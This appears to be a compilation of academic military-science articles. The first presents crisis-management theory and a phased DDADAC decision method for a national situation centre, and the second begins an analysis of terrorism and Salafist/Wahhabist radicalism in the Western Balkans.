In: BARTLETT, H. - HOLMAN, PAUL - SOMES, T.: *Einsatzplanung militärische Revolutionen und die Tyrannie der Technologie* p.1
[3] Hadtudományi Lexikon (szerk.:SZABÓ József) (Magyar Hadtudományi Társaság, Budapest, 1992.) p. 42.
Vö: KŐSZEGVÁRI Tibor: *A közép-európai térség és Magyarország biztonságát fenyegető veszélyek az 1990-es években* (Országos Kiemelt Társadalomtudományi Kutatások, Budapest, 1993-1996.) p. 14.
[4] MATUS János: *Válságkezelés és konfliktusok megelőzése*. In: Új Honvédségi Szemle 1995/10. p. 47.

The challenges: The complex of situations and conditions on the lowest manifestation level of possible hazards – whose resultants in general adversely influence the internal and external stability and can affect the authoritical relations of a given region – which influence the components of the generally interpreted security.

The risks: The complex of situations and conditions on a manifestation level of possible hazards, which influence the components of the generally interpreted security and that could violate national interests, thereby losses occur.

The threats: The complex of situations and conditions on the highest manifestation level of possible hazards, which influence the components of the generally interpreted security and that could violate national interests, and might indirectly influence the preservation of national values. The methods and instruments of representation of interest prefer enforcement or the possibility of forcible solutions.[5] As it appears from the definitions, I regard the challenges, risks and threats as the manifestation of possible hazards, which usually adversely influence the internal and external stability and can affect the authoritic relations of a given region. These definitions built on each other, hypothesize an increasing tension. Following from their nature, these can only be interpreted as dynamic processes. Therefore, the theoretical interpretation of the definitions is important, but in practice they are often appear overlapped, merged with each other, and may vary depending on the characteristics of external factors (such as political, economic, environmental and military conditions). In emergency situations, it is the political, diplomatic and military elements that come to the front.

Source: István Resperger: The changed tasks of armed forces in managing military crises p. 152.

Figure 1

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[5] RESPERGER István: *The changed tasks of armed forces in managing of military crises* (Doktori (PhD) dissertation Budapest, 2002.) p. 45.

Theoretical principals related to conflict, conflict-prevention, crisis and crisis management.

I approach the concepts, definitions on the subject through interstate-relations. Literature in most cases basically discerns 4 conditions[6]: peace condition, crisis condition, armed conflict and after-crisis-management peace condition (peace-2). Peace condition's characteristic is that the relations between states and/or the groups of countries are based on mutual trust and understanding, taking into consideration the common interests and values. The characteristic of the crisis conditions is that the good relations – due to some kind of dispute or conflict of interests/values – deteriorate; tension arises between the sides that try to settle the situation by some (political, diplomatic, economic or military) means. We speak of military threat if the political, diplomatic, economic and other efforts proved to be ineffective and the relation between the parties continues to deteriorate, which manifests in pressure, force demonstration, provocations, concentration of troops and border violations of military nature. The feature of the after-conflict peace condition is that the actions related to conflict management reach their main goal – the restoration of peace – but to maintain and reinforce the consolidated situation, several measures have to be taken to prevent any possible further confrontations. Although these measures are aimed at reducing tensions, their longer-than-needed use may delay the creation of a final peace condition.

Based on the presumption of Michael S. Lund – and taking into account mainly the actions of diplomatic, political and international organizations and the military forces – the intensity and stages of a conflict could be diagrammatically represented (Figure 2). The first I analyze is the category of essential (vital) values and interests.

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[6] In: SZTERNÁK György: *A válságok kialakulása és kezelésük lehetséges módja* p. 26. Vö.: Other experts use also: „Peace 1"; Crisis; (activities below the threshold of war), War, „Peace-2" definitions, because the „Béke-2" marks a different status then the „Peace 1" in the beginning. LUND, M. S.: *Preventing Violent Conflicts* pp. 39-43. Differentiates: peace, solid peace, crisis, armed conflict, war periods.

Intensity and stages of crisis

Figure 2

/Source: LUND, Michael S.: Preventing Violent Conflicts p.39.; JENTZ, D.H.: Führungsystem im Wandel In: Österreichische Militärische Zeitschrift 1995/2. p. 127./ Közli: Source: István Resperger: The changed tasks of armed forces in managing of military crises. 151. (Editor: István Resperger)

1. 1. 1. The essential (vital) values and interests

National interest is a term defining a nation's goods, benefits and needs. It is an essential conditionality regarding the nation's survival, consolidation and development. It is the decisive factor in the existence of state sovereignty. National interest related to the defense of state can be outlined in the context of hazards and risks threatening the state with armed violence. Some American researchers[7] differentiate the general term (interest) by the potential risks. Thus we can distinguish: the categories of vital interest, particular interest, major interest and simple interests.

Vital Interest (crucial national interest)**:** is the complexity of crucial social needs ensuring the nation's persistency, consolidation and development, which is of vital importance for the national existence. Therefore its enforcing and safeguarding by the national side could be associated with radical risk taking and the maximal, dedicated

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[7] STUDENMAIER, W. O.: *Hadászati koncepciók* In: KOVÁCS Jenő.: *Állami szuverenitás, nemzeti érdek, hadászat* pp. 36-50.

concentration of national resources, which – in extreme cases – can manifests even in undertaking total armed confrontation.

Particular interest (basic national interest): is the complexity of vital social needs, determining the national existence. For its enforcing and safeguarding the state undertakes great risk, but its level is below the national existence.

Major interest (important national interest): A complexity of social needs, but for its enforcing and safeguarding, the state does not undertake greater risks (e.g. putting temporary at the disposal of foreign armed forces the country's air space or territory for passing through).

Interest (simple national interest): is the complexity of social needs which tends to raise the national welfare. The emphasis is on its enforcing, but its safeguarding is usually preventive and indirect, without the use of armed forces (e.g. material, technical, financial and training assistance).

The value: The Concise Hungarian Dictionary says: "the attribute of something what reflects importance to society and to the individual". Experts usually classify here a country's culture, language, or cultural and artistic heritage, which is linked to the population. Values are more persistent than interests in a given social environment, because the interests are articulated along the values as a result of the inner changes of society. Values are basically redefined only as a result of inner or outer drastic changes.

1. 1. 2. The debate, The hazard

The security challenges, risks and threats „are situations and conditions that carry danger and threat within them, which usually have negative effects on a given country's overall security, or its components and weaken the inner and outer stability."[8] Debate: relation, situation when the parties make their interests conflict (e.g. negotiation). The condition for closing the debate is that the parties make a compromise in a way to appropriately represent their own interest.[9] By danger to society, we generally mean the potential possibility of the occurring of a phenomenon that could negatively affect a dimension of security. A circumstance related to security that bears the possibility of negative impacts affecting the whole society. [10] General definition of risk: *„Risk associated with an action, the possibility of loss".*

1. 1. 3. The Force and Power

Force and power are one of the instruments of armed fight. „War is the use of strength against the other's will" [11] (Morgenthau). The connection between force and power derives from the fact that every political action directly or indirectly is actually an act of using power,

[8] Hadtudományi Lexikon (SZABÓ J.) p. 42. Vö: KŐSZEGVÁRI Tibor: *A közép-európai térség és Magyarország biztonságát fenyegető veszélyek* p. 14.

[9] MATUS János: *Válságkezelés és konfliktusok megelőzése* In: Új Honvédségi Szemle 1995/10. p.47.

[10] Magyar Értelmező Kéziszótár p. 745.

[11] DEÁK Péter: *A biztonságot fenyegető kihívások, konfliktusok, válságok, háborúk* In: Védelmi Tanulmányok 1997/3. p.4.

whose form and density depends on the desired goal, and the implementer's determination. The gradiation of enforcing force and power are as follows: demonstration, threatening, enforcing, punishing, exerting pressure, use of military force.[12]


Figure 3
Users of diplomatic and material force
Source: Global Trends 2030: Alternative Worlds a publication of the National Intelligence
Council p. 17.

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[12] DEÁK Péter: same page

2. Characteristics of crises

2.1. Initial period

Some kind of dispute could surface between parties over a shorter or longer latency, which is usually based on some kind of interest or conflict of interests. This period is highly uncertain. The need for information becomes the most important between the directly and indirectly involved parties. The following main questions could be conceived[13]: who are the possible actors, what basic interest they have, what could spring the crisis? Answering questions, drawing conclusions by analyzing intelligence and further information gathering could help the operation of parties. Obviously the opposing sides' risk-taking willingness – how far they are willing to go in the „grab it, leave it[14]" game – in enforcing their interests is an important question: will they use armed force or back off due to sanctions.

Eventually the first „initial" period is about information gathering, analyzing, processing and planning of further actions.[15] At the end of the first phase, after carefully analyzing the gathered information and the conclusions, various strategies could be set out for taking several political, diplomatic, economic, maybe military actions. The prerequisite of right decisions is the gathering, processing, forwarding of the information needed. After the preliminary processing, an appropriately composed "staff" or team submits the summarized assessment to the decision-maker. The „staff" helps the processing, the filtering of information, compiles the possible action plans for the decision-maker, draws recommendations and proposals. It should be noted that the „staff" makes declaration only in harmony with its existing knowledge. If there is not enough information or its quality is low, the objectivity of decision-making could become damaged. In an ideal system, the decision maker has to be placed as close as possible to the crises to be able to make the right decisions.

In the process, the first main phase is the planning, which requires appropriate prevision, awareness and analytical skills. During the *period of preparation* the task is to create the frame of responsibilities and the connection between the decision-making and decision-executing groups. The government structure has to be reorganized in the *crisis's allivitation phase,* if needed, because crises cannot always be solved with measures used in peacetime. It is practical to provide the people with the essential information of the situation.

For the *prevention phase,* it is necessary to foresee the events, in order to recognize the crisis by its initial characteristics and prepare for the probable tension, as well as to be able to plan the response. The effectiveness of *response* is highly dependent on the estimation of situation, the resistance to the initial effects generated by instability and the dynamism of the system, which can react with optimal effectiveness to challenges appropriately and timely. The existence and realization of these factors guarantee the appropriate, effective

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[13] MATUS J.: *Válságkezelés és konfliktusok megelőzése* p.50
[14] KISSINGER, H.: *Diplomácia* Bp.1997. p.116.
[15] KŐSZEGVÁRI T.: *Biztonság és információ (hír)szerzés* In: Hadtudomány 1993/3. pp.15-18. JENTZSCH H. J.: Führungsysteme im Wandel von Sicherheitspolitik und Strategie pp. 127-132. és NAGY P.: Nemzetbiztonság az információs korszakban In: Külpolitika 1998/nyár pp. 64-96.

implementation of the action plans. In the *solution* phase the adequate informing of general public is still important, which could shape the public moral in each phase of the crisis. In analyzing crises, the major objective is to type it as sophisticated as possible. The seminar of Marshall Center has differentiated emergencies of „*security nature*" and „*non security nature*".[16] Security nature emergences are; terrorism, hostages taking, armed conflict, war; non security nature emergences include; catastrophes (storms, floods, earthquakes) or the collapse of the monetary system. Security emergency directly threatens the existence of a country's or a region's population. The other type emergency acts indirectly. Different types of crisis require different coordination procedures from the crisis-management organizations. In order to take further steps, the crisis-management organization has to assess the possibilities of the other organizations involved in the crisis management; whether they are able to implement their tasks in each phase of the actions This is essential, because the organization has only a certain level of managing functions, and if it is not capable to implement all the necessary response steps, it has to turn to an organization having a higher level of management capacities and an overall picture of the whole crisis management procedure. Usually the „non-security nature" emergencies can be treated by previously prepared and approved action plans, so the organizations directly involved are able to overally implement the management functions (e.g. planning, organizing, coordinating, monitoring). „Security nature" emergencies usually acquire higher level approval for the already existing or newly worked out action plans, and after that the implementation can take place. Depending on the type of crisis, the responses and the political goals can be already planned, or dependent on the situation (none planned). In both cases, during the implementation and enforcement, we can generate tensions, which could negatively affect the procedure of conflict management.[17]

2. 2. The development phase of crisis

After the dangers and possibilities are clearly drawn and the incentives and sanctions were not satisfactory in restoring the pre-conflict state, the crisis process steps into its development phase. Due to the sustained tension, further instruments and methods are taking place. In this period, uncertainty and oversensibility may arise, and the need for military and political actions might surface. "The security dilemma" can prevail, and each party considers the other's steps as „offensive" and its own as „defensive", which naturally increases uncertainty. This is amplified by the fact that one of the parties that generally makes the first steps always appears as aggressor. Usually, that party – to enforce its interests – pressurizes in some way, while the other – to enforce its own interests – reacts. In this phase, politics – as primal „driving cogwheel" – decides how the given state connects its own "cogwheel" with the other ones (e.g. taking economical, humanitarian, monetary, diplomatic or military steps). In choosing the right military actions, the „Huntington paradox" will always prevail: „*The soldiers feel responsible for security and to keep them in the right track in their advisory and*

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[16] HEINKEL, W.: *A válságtípusok* In: A George C. Marshall Központ kiadványa, Budapest, 1999. p. I-3.
[17] Vö.: MORTENSEN, S. M.: *Crisis and Disaster* In: Atlantic Press 1997/1. p.42

executing role, the implementation of the so called civil-control might always cause tensions."[18]

Time factor (war on time) was an essential characteristic of the Yugoslavian war too. „Aggressors" tried to make rapid successes, while the „endurers" tried to inspire the international organizations to intervene as soon as possible. The lack of time usually described as "decision density", because the lack of information, or the opposite, adundancy of information could cause tension to the decision makers. Besides the time, the timing can be a crucial factor of conflict management, because the so called conflict-curve can be easily analyzed afterwards. It is simple to define the optimal time and the spot for interventions retroactively, but the timeliness and forevision require immediate actions to prevent escalation. That is the inter-process interventions in given time and space have high risks, the exact assessment of their efficiency is only possible after the end of crisis. The power and influence of the involved and the outside parties have their biggest role in the development phase. During this phase, the parties are using their power and influence constantly.[19]

As I mentioned before, the parties acts on each other mutually, so a certain level of resistance is generated against pressure from both sides, which can deepen the conflict. A solid, real threat supposes the availability of actual and needed potentials to realize the treat. Of these, the threat's most recognizable components are as follows: economic, technological, military dimensions – as dynamic elements; size of population as a static element. So threat entails the recognition of the aggressor, marking the enemy, which leads to the creation of the Enemy-Image.[20] Daniel Frei was dealing with the self-image, the sensed image, and the enemy-image, when he was researching the US-Soviet relationship from 1980-84. The difference between the enemy-image and the self-image of the other country affects the relationships. To harmonize these images diplomatic empathy is required from both sides, which can be facilitated by mutual trust and an open atmosphere. This may ensure a possibility to clarify interests, use mutual persuasion and make prospective compromises. In many cases, the conflict ends, but the interest-collision remains.

2. 3. The culmination of crisis

The culmination of crisis is when the tension reaches the critical level and as a consequence, the processes densify. All this happens in a different dimension, that is, at the level of armed fight (war). Of course, not all conflicts lead to armed clash.[21] During the cold war the crisis levels were interpreted in stages or more exactly stepwise. This was called the theory of „*stepwise extension of war crisis*".[22]

Reaching the culmination of crisis means the undertaking of open confrontation, which results in limited diplomatic possibilities. The failure in using incentives and sanctions causes the

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[18] HUNTINGTON, S. P.: *A katona és az állam* p. 76.

[19] WEBER M.: *Gazdaság és társadalom* (Közgazdasági Kiadó, Budapest 1970.) p. 15-48.

[20] DEÁK P.: *A biztonságot fenyegető kihívások, konfliktusok, válságok, háborúk* p. 2.

[21] Például 1700-1870 között 117 jelentősebb konfliktust jegyeztek föl, de csak 10 esetben történt fegyveres összeütközés. BEREK L. – HEGEDŰS L. – KÓNYA I.: A honvédelmi hadászati művelet p. 36

[22] Lásd: KAHN, H.: *On Escalation* In: HAJMA L.: Nyugati szakírók a háborúról pp. 135-150.

activation of military potentials. This process comes into being in a dynamic reaction (series of responses) between the parties, which is in proportion with the range of threat. The chance of military confrontation stresses the question of justice.[23]

2. 4. End phase

The final phase is when efforts are made to come to agreement, to make peace. It is important, that there is a significant difference between after-crisis peace status („peace 2) and pre-crises peace status (peace 1), because "peace 1" and „peace 2" are stabilised in different power and security force-fields. The new „peace 2" circumstances are constantly demanding the restoration of relations and relationship system in order to reach the peace status level. In this spirit, constant efforts have to be made to normalize and square the relations. This process takes relatively more time, which duration regarding the experiences is as follows: To get to first armed engagement from „peace 1" – in case of a long lasting crisis – it takes approximately 2-6 months; to get to „peace 2" from armed conflict it takes approximately 3 or 4 times more. The time needed for restoration depends on the intensity of the crisis, the number of casualties, the type of applied weapons and the concept of the crisis-managing strategy. Weapons applied during the armed conflict affect the efficiency of actions in three main ways: the scale of destruction, the environmental effects and the elimination of the installed, hoarded and illegal weapons. The scale of destruction depends on the quality, quantity and the inflicted damage of the applied weaponry. If the sides used highly destructive instruments, and if their strategy was to reach victory at all cost, without caring about the victims and the damages, then the escaped population's resettling and the restoration of the damages could take a vast amount of time.

Environmental effects are closely related to the scale of destruction. Environmental damages caused by chemical, biological or nuclear attacks affecting large areas are also making the restoration difficult..

The elimination of installed, illegal and hoarded weapons (minesweeping, finding undetonated weapons, destroying the collected weaponry) is a hard task for the forces taking part in peacekeeping.

The composition of the deployed forces in the last phase of the conflict varies from time to time. It is practical to use light weaponry peacekeeper forces at first, later special teams (minesweeper, engineering, logistics and transportation) and later police forces.[24]

Important to note that during fierce crises, the use of crisis management strategy could provide only fragile peace, but the hazard of a renewing escalation is high.

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[23] MACHIAVELLI, N.: *A fejedelem* p. 116.

[24] LAST, D.: *Organizing for Effective Peacebuilding In: Peacekeeping and Conflict Resolution* 2000/3 p. 83.

3. A „Triumph" method[25]

Every crisis is unique, for this reason, the implementation of crisis management is different every time; however a general scheme is needed, on which the process can be built. This scheme will be presented in the following, which is summarized as DDADAC (Diagnosis, Direction, Alternatives, Decision, Application, Closing).

3.1. A RESPERGER-created „DDADAC" crisis management method

Applying the method, I have taken into account a crisis occurring in Hungary, which could not be handled with normal methods. The National Situation Center would provide the organisational framework.

Diagnosis

	Who?	**Task?**	**When?**	**Method?**
Diagnosis	NSC (National Situation Center) crisis management committee	**All-sided analysis of the situation**	Immediately	➢ Calling the experts ➢ Activation of International Relations ➢ Primary inspection ➢ Primary collection of basic data (national, international, IO-s, NGOs)
		Clarification of responsibilities	Immediately	➢ What happened? ➢ When? ➢ Where? ➢ Who is the person responsible in the matter?
		Timing	Immediately	➢ What is the key issue of the crisis?
			Crisis +3-4 hours	➢ Overall ➢ Detailed
		Immediately applicable regulations	Crisis + 2 hours	➢ What do we have to do immediately? ➢ First measures, instructions, restrictions

[25] Coachers use the method in practice for leadership development. Compare: Komócsin Laura: MÓDSZERTANI KÉZIKÖNYV coachoknak és coachingszemléletű vezetőknek I.

In case of a given crisis, the first step is always to diagnose, what is a responsibility of NSC crisis management committee? The first immediate task is an all-sided analysis of the situation with involving experts and activating international relations. It is necessary to pursue a preliminary review and collection of the basic data, with the help of national and international organizations as well as NGOs. In parallel, the responsibilities have to be clarified (what, when, where did it happen, who is the person responsible in the matter and what is the key issue of the crisis).

Information and decision-making

ANALYSIS

How reliable is the information?
What does it mean?

ESTIMATE OF SITUATION

Significance
What should we do about the situation?
What can we do?
Accessibility of the source

Communication

Who to inform?
How? How much?
Within system?
Within Government?
Outside of Government?

GOALS

INFORMATION

What do we know?
What do we need to know?
How do we get it?

Start

DECISION IMPLEMENTATION

Use of instruments
Scheduling
Communication

DECISIONS

Who makes the decisions?
What is the range of options available
What resources are available

/source: PECHOUS ED:Döntéstámogató rendszerek In: A G. Marshall Központ „Válságkezelés, konfliktus-megelőzés" szeminárium (Budapest 1999.01.25-29.) p. H-25./   157

In the next 2-4 hours the timing is the most important step; namely to determine what we can do immediately and what the first regulations, first steps, instructions and restrictions can be.

Direction

Direction		**Defining strategic goals**	Crisis + 3-4 hours	➢ The definition of crisis management, positive goals: (what do we want to achieve? ➢ Definition of Crisis Management, negative goals: (what we do not want?) ➢ Defining the inevitable negative consequences ➢ Defining of the main areas of crisis management. (in Space-Time-Force-Information dimension)
	NSC Crisis management committee Secretary of DMCC	**Defining the main focus of crisis management,**	Crisis + 3-4 hours	➢ The media strategy of crisis management ➢ Announcement ➢ Press Conferences system ➢ Spokesperson
		Defining the main lines of the crisis management's media strategy	Crisis + 4-5 hours	

The second step in crisis management is to mark the direction of crisis management and determine the responsibility of the NSC crisis management committee and the secretary of DMCC (Disaster Management Coordination Committee) within the 3–4, maximum 5 hours, after the outbreak of crisis.

Process of crisis management

The goal is *prevention*

Reduction Preparation

Planing

Execution

Restoration
Solution

Response

Political and legal framework

Infrastructure providing crisis management

/Source: PECHOUS, ED:Döntéstámogató rendszerek In: A G. Marshall Központ „Válságkezelés, konfliktus-megelőzés" szeminárium (Budapest 1999.01.25-29.) p. H-12./

They first have to cooperatively formulate the strategic objectives, which include the definition of the crisis management's positive goals, so what do we want to achieve; the definition of our negative goals, that is what consequences, events we want not be realized and what the inevitable consequences can be. Afterward determining the strategic objectives, we have to define the main focus of the crisis management, taking into account the available space, power, time, and information. The last of the objective in defining of the tasks to be performed is to contact the media: defining the crisis management's media strategy, making announcement and appointing the spokesperson to continuously inform the media.

Alternatives

Alternatives	NSC crisis management committee	**Develop alternatives**	Crisis + 12-24 hours	➢ the worst ➢ the best ➢ The most likely ➢ Outline the crisis' likely development trends with advantages, disadvantages and justification.

Outlining operations variants and working out alternatives are also the responsibilities of the NSC crisis management committee within 12-24 hours after the outbreak of the crisis. The committee elaborates the worst, the best and the most likely alternatives, outlines the crisis's likely development trends. with advantages, disadvantages and justification. After that evaluates the alternatives with the SWOT method.[26]

This method analyses the alternatives by the following criteria:

− strengths,
− weaknesses
− hazards,
− options

This test underlines a valid, versatile analysis of operations variants.

Decision

Decision	Decision maker depending on the type of crisis: Ministerial Commissioner Prime Minister Cabinet Defense Council	**Selection of the variant to be implemented from the nominated/proposed action plans for detailed work-out.**	Crisis +13-15 hours/ Crisis +1 day 01,00-03,00 hours	➢ Using a decision matrix (normal, weighted) in decision making ➢ pros and cons, and time-cost-benefit analysis

The fourth step is made by the ministerial commissioner, the prime minister, the cabinet, the defense council – depending on the type of crisis – designating which variant from the nominated/proposed action plans is to be executed and elaborated in detail. During making their decision, the leaders use a decision matrix (normal, weighted) taking into

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[26] **S**trengths-Erősségek; **W**eaknesses- Gyengeségek; **O**pportunities- Lehetőségek; **T**hreats - Veszélyek

account the advantages, disadvantages, the necessary time, the expenditures, thus there is a possibility that in the end with merging the elaborated variants a fourth and final version comes off. Decision has to be made in 13-27 hours after the outbreak.

Implementation

| Implementation | NSC crisis management committee | ➢ Detailed elaboration of the selected action variant after the decision | Crisis from +16th hour/ | ➢ Collecting further up to date information on the selected version. ➢ Detailed elaboration of the plan. ➢ Who? ➢ What? ➢ When? ➢ How? ➢ Whom with? ➢ Who's in control? ➢ All-round security? |
| | | ➢ **Coordination**. Clarifying the questions of the cooperation. | Crisis +1 day from the 5th hour | ➢ Coordination of the participants' needs and activities of space-force-time-information |

As the decision is made, the NSC crisis management committee elaborates in detail the chosen action variant, clarifies the questions of cooperation, defines the responsibilities during the action's implementation (when to do what, how to do, and who to cooperate with, who is leading the operations and coordinating the all-sided support and the participants' needs?)

Closure

Closure	Depending on the type of crisis: Ministerial Commissioner Prime Minister Cabinet Defense Council or the person mandated by them	**Monitoring of implementation**	During the implementation of the Action Variant (types: unique, goal, technical inspection; method: pre-announced, unexpected)	➢ Monitoring the crisis management committee ➢ On-the-spot checks ➢ Monitoring the implementation staff
		feedback on crisis experiences		➢ Requesting the participants' experience (How do they felt the information, control, decision, coordination during the crisis management)

The closure of the crisis management process is the responsibility of the commissioner, the prime minister, the cabinet, the defense council or the person they mandate – depending on the type of crisis. She/he or they have to monitor the executive staff (arriving pre-announced or unexpectedly) during the implementation of the action variant. They ask information about the experiences gained by the participants: their impression they had regarding the flow of information, command and control, decision making and coordination, during their work.

Conclusion:

In analyzing the crises, we can conclude that specific, appropriate diplomatic, political, economic and military crisis management steps can be attached to each, different crisis period. Of course, all of our initiations should be carried out by taking into consideration the principles of proportionality and gradualism, but always keeping in mind the given situation. The use of military force has to be planned in harmony with the diplomatic measures, and with such a scheduling – inserting breaks – that does not intensify the tension level in the evolving situation.

All of the crisis management tasks and the necessary cooperation require sufficiently developed and regularly updated plans. These plans have to contain also those action variants that will be carried out only in a last-resort situation.

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3. BRETTER ZSOLT- DEÁK ÁGNES: *A nacionalizmus Eszmék a politikában.* Tanulmány Kiadó, Pécs, 1995. 215 p.
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28. HEINKEL, WADE: *A válságtípusok* A George Marshall Center kiadványa, Budapest, 1999. p.30

29. KISSINGER, HENRY: *Diplomácia* Panem-Mcgraw-Hill-Grafo, Budapest, 1996. 954 p.

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TERRORISM AND OTHER TRANSNATIONAL CHALLENGES ON THE WESTERN BALKANS

Abstract

Nowadays, from among the numerous challenges and risks, it is especially those entailing explicit violence and radicalism that pose the main threat to the countries of the Western Balkans and – indirectly – to Europe. From among the challenges, the terrorism is in the focus, with a special attention to the Islam fundamentalist terrorism that is undoubtedly one of the greatest security challenges to the region.

Key words*:* Terrorism, Western Balkans, Islamic State, Salafism, Wahhabism

The terrorism on the Western Balkans is not a new phenomenon, the population of the region suffered many times from the various consequences of terrorism. The attempts committed in the first half of the 20th century were motivated primarily by nationalist ideologies and purposes. Their effects – by pointing in many cases beyond the original intentions of the perpetrators – brought far-reaching regional or global consequences. It is well known that the attempt committed in 1914 on the life of Crown Prince Franz Ferdinand[1], the apparent heir to the Habsburg throne, was the fuse that broke out the I. World War that came to an end only in 1918.

In 1923, Yugoslav Premier Nikola Pachitch was wounded by Serb attackers in Belgrade.[2] In 1924, a train was exploded in Zagreb in order to prevent a group of politicians travelling on the train to swear allegiance to the Yugoslav King Alexander I (Alexander Karadjordjevic). In 1934, Croatian and Macedonian terrorists, in the course of his official visit to France, killed Yugoslav King Alexander I and French Foreign Minister Louis Barthou.[3]

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[1] Spartacus Educational: Archduke Franz Ferdinand. http://spartacus-educational.com/FWWarchduke.htm, download: 21.12.2014.

[2] Timeline Serbia through 1997. http://timelines.ws/countries/SERBIA_A.HTML, download: 21.12.2014.

[3] BROWN, Keith: *The King is Dead, Long Live the Balkans!* Watching the Marseilles Murders of 1934: delivered at the Sixth Annual World Convention of the Association for the Study of Nationalities. Columbia University, New York: 5-7 April 2001.
http://watson.brown.edu/files/watson/imce/research/projects/terrorist_transformations/The_King_is_Dead.pdf, download: 21.12.2014.

During the World War II, the violent acts committed by the Chetniks and Ustashas also had far-reaching effects, spoiling the inter-ethnic relations between the Serb and Croat communities for a long time even after the war.

The "new era" of violence was opened in the 90s, during the civil war in the former Yugoslavia. A great number of Jihadist warriors arrived in the area in order to help their Bosniak brethren. Al Qaeda warriors also took part in the fighting, and according to some – so far unconfirmed – information, Usama bin Laden himself got a passport in exchange for "his services" rendered to the Bosniak people.[4]

Beginning from the end of the civil war in the former Yugoslavia, stability of the Western Balkan region has been threatened primarily by the Islam fundamentalism, radicalism, nationalism, ethnic separatism and also by organised crime.

The spread of Salafist/Wahhabist ideologies on the Western Balkans

The currently dominating schools of the Islam fundamentalism are the Salafist and Wahhabist ideologies and also the global Jihadism. To understand why the extremist Islam ideologies have spread in the region, one has to become acquainted first with the essence of the Salafist and Wahabist ideologies.

Salafism

For the followers of the Salafism, (an ideological school born from the Sunni Islam in the first third of the 20th Century), confrontation was the only viable option. According to their assessment, the Islam has gone into a decline, since the Muslims left the true path. The Islam community (umma) may regain its former strength and glory only if it returns to the true traditional Islam. Thus, Salafists request the return to the society of Mohammed and the early Islam believers "the salaf", which is the religious way of life, in line with the Quran's instructions.[5] They are adherents of the traditionalist fundamentalist reformist school. This means that they want to return to the religion and religious practice pursued by the Prophet Mohammed and the first four caliphs. According to them, the modern Islam practices and customs are to be blamed for the umma's leaving the way of God, and they are the root causes of the imminent decadence as well. The Salafists refuse any form and effects of the Western civilisations, except for the adoption of its contemporary technical and technological achievements and "Salafists do not engage in negotiations with the state: Islam would never be content with such negotiation." [6]

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[4] KUROP, Marcia Christoff: *Al Qaeda's Balkan Links*. The Wall Street Journal Europe, November 01, 2001. http://www.balkanpeace.org/index.php?index=article&articleid=12224, download: 21.12.2014.

[5] AMGHAR, Samir: *Salafism and radicalisation of young European Muslims.* European Islam: Challenges for Public Policy and Society, Brussels: Centre for European Policy Studies (2007) pp. 38-51. http://www.isn.ethz.ch/Digital-Library/Publications/Detail/?lng=en&id=45690, download:25.12.2014.

[6] Ibid

Wahhabism

To put an end to the decline of Islam, one of the first attempts was taken in the Arab Peninsula in the mid 18th Century, when Mohammed ibn Abd al-Wahhab rallied the war waging Arab tribes and established the first modern state. He preached to the local Muslim community about the need to restore the simple faith and to return to the traditional teachings of the Islam, about discipline, piety and about the willingness to make sacrifices.

According to him, the umma plunged into the state of barbarism and carelessness that was characteristic to the era prior the appearance of Prophet Muhammad. Wahab rejected the cult of saints and religious relics and placed "the monotheism" in the focus of his doctrine by threatening the renegade worshipers of idols with death. Wahab entered into coalition with the tribal leader of the region (also his son-in-law) Mohammed ibn Saud, and by the end of 18th Century, they had conquered nearly the entire Arab Peninsula. The Kingdom of Saudi Arabia was established in 1925. The movement aimed at purging the Islam from alien influence and professing the need to return to the ancestors' way of life even by use of force (Jihad) has its influence even nowadays on the activity of the various radical or extremist Islam groups.[7]

According to the adherents of the extremists Wahhabist/Salafist ideology, the road from the conversion of the individuals to the Islamisation of the World has well-identifiable stages:
− Shaping the character of the Islam worshipers (in terms of faith, attitude, strength of will, honour and honesty etc.);
− Adoption and pursue of an Islam family ideal;
− Construction of an Islam society (through the community of worshippers and their families);
− Establishment of an Islam state;
− Establishment of a Caliphate (through the unity of the Islamic states);
− Islamisation of the World.

Nowadays the adherents of the Salafist ideology have been placing the emphasis on shaping the Islam character of the individuals and on constructing the Islam family-ideal.

They think that if they manage to successfully carry out these tasks, they might continue their work with the creation of an Islamic society, first on the level of small communities and later on regional level. They are aware of the fact that the construction of the Islam society, and later the establishment of the Islam state remain unfeasible even in the long term (within a period of 30-50 years). However, neither the difficulties in implementing these goals nor their probable unfeasibility can deter these extremists form action.

There are two relatively well-identifiable regions on the Western Balkans where these ideologies can feel like at home: some areas in Bosnia and Herzegovina and the Sanjak situated on the territory of Serbia and Montenegro. However, even the adherents of the Salafist/Wahabist ideology are not uniform in their faith. A larger part of the group belongs to the local Islam community under the influence of local leaders. However, there is also a

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[7] BLANCHAR, M. Christopher: *The Islamic Traditions of Wahhabism and Salafiyya*. Updated January 24, 2008, The Congressional Research Service. http://www.fas.org/sgp/crs/misc/RS21695.pdf download: 21.12.2014.

minority group, refusing the local leadership. They are the so-called Jihadists (in many cases civil war veterans) professing the most radical views.

Obviously, Wahhabism cannot and must not be merged with terrorism. However, it is a fact that almost everybody – detained in Bosnia Herzegovina and in the Sanjak under the suspicion of committing terrorist acts – can be associated with Wahabist groups. We may simply say that not all Wahhabists are terrorists, but many terrorists are adherents of the Wahhabist ideology. Although extremist Wahhabists pursue their activity in small cells and due to their age and habits they are very successful in persuading and recruiting radical youth. The radical Wahhabists refuse the mainstream Islam religious school, since they consider it to be false and erroneous. Their activity – from time to time – can lead to confrontation not only with the believers of other religions, but also with the followers of the moderate Islam.[8]

Extremist views and the role of NGOs

Experiences learnt in the fight against international terrorism show that the activity of some NGOs in the crisis zones gives rise to suspicion. The Western Balkan activity of some NGOs – established primarily in Islam countries, disseminating radical ideological teachings and in some cases even having links to terrorist organisations – represents a serious challenge to the International Community. The danger represented by the operation of the NGOs associated with Islam countries lies in the fact that by spreading extremist ideas, they try to win over mainly the youth. These views "in the guise of religion" tell the youth about the refusal of the Western culture and values. [9] The spread of extremist religious teachings may end up in the formation of aggressive organisations, which – through their actions and violent acts – may hinder consolidation efforts in the countries of the region. Nowadays relief organisations and NGOs do have a more limited scope for action than they had 10-15 years ago, thus the funds at their disposal are remarkably less and they are gradually shrinking. However, owing to insufficient control of the donations, the channels still exist through which the funds may flow fairly smoothly. Some NGOs pursuing their activity on the Western Balkans are on the lists of the organisations suspected of terrorism drawn up by the UNSC[10] and the Council of Europe.

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[8]   DIEMEN,Renée   van: *Politics   and   Religion   in   Saudi   Arabia*   pp.2-12. http://www.lboro.ac.uk/media/wwwlboroacuk/content/phir/documentsandpdfs/topstudentessays/11EUC664%20 essay%20-%20Renee%20Van%20Diemen%20-%20Saudi%20Arabia%20-%20Does%20the%20State%20Control%20Religion%20or%20Does%20Religion%20Control%20the%20State.p df , download: 21.12. 2014.
